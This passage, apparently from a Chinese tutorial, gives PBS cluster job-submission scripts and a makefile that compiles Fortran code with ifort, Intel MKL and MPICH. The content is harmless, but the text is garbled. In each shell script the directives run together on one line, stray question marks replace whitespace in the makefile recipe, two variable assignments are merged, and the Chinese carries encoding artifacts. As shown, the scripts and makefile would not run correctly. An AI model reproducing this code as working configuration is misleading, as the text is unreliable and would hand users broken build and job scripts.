#!/bin/sh#PBS -N task#PBS -l nodes=1:ppn=1#PBS -q scorecd $PBS_O_WORKDIRexport OMP_NUM_THREADS=1python a.py
a.sh文件(用于提交任務(wù),執(zhí)行a.exe文件)
#!/bin/sh#PBS -N task#PBS -l nodes=1:ppn=1#PBS -q scorecd $PBS_O_WORKDIRexport OMP_NUM_THREADS=1./a.exe
(4)一個makefile文件
makefile文件(用于編譯Fortran文件)
INC := -I/public/software/compiler/intel/composer_xe_2015.2.164/mkl/include/intel64/lp64
LIB := -L/public/software/compiler/intel/composer_xe_2015.2.164/mkl/lib/intel64
mpi:= -I/public/software/mpi/mpich/3.1.4/intel/include /public/software/mpi/mpich/3.1.4/intel/lib -lmpich -limf -lsvml -lintlc
src:=Console1exec:=a
all: $(src).f90
ifort? $(src).f90? $(INC) $(LIB) -openmp -lmkl_intel_lp64 -Wl,--start-group -lmkl_intel_thread -lmkl_lapack95_lp64 -lmkl_core -lmkl_blas95_lp64? -Wl,--end-group -liomp5 -lpthread -O2 -o $(exec).exe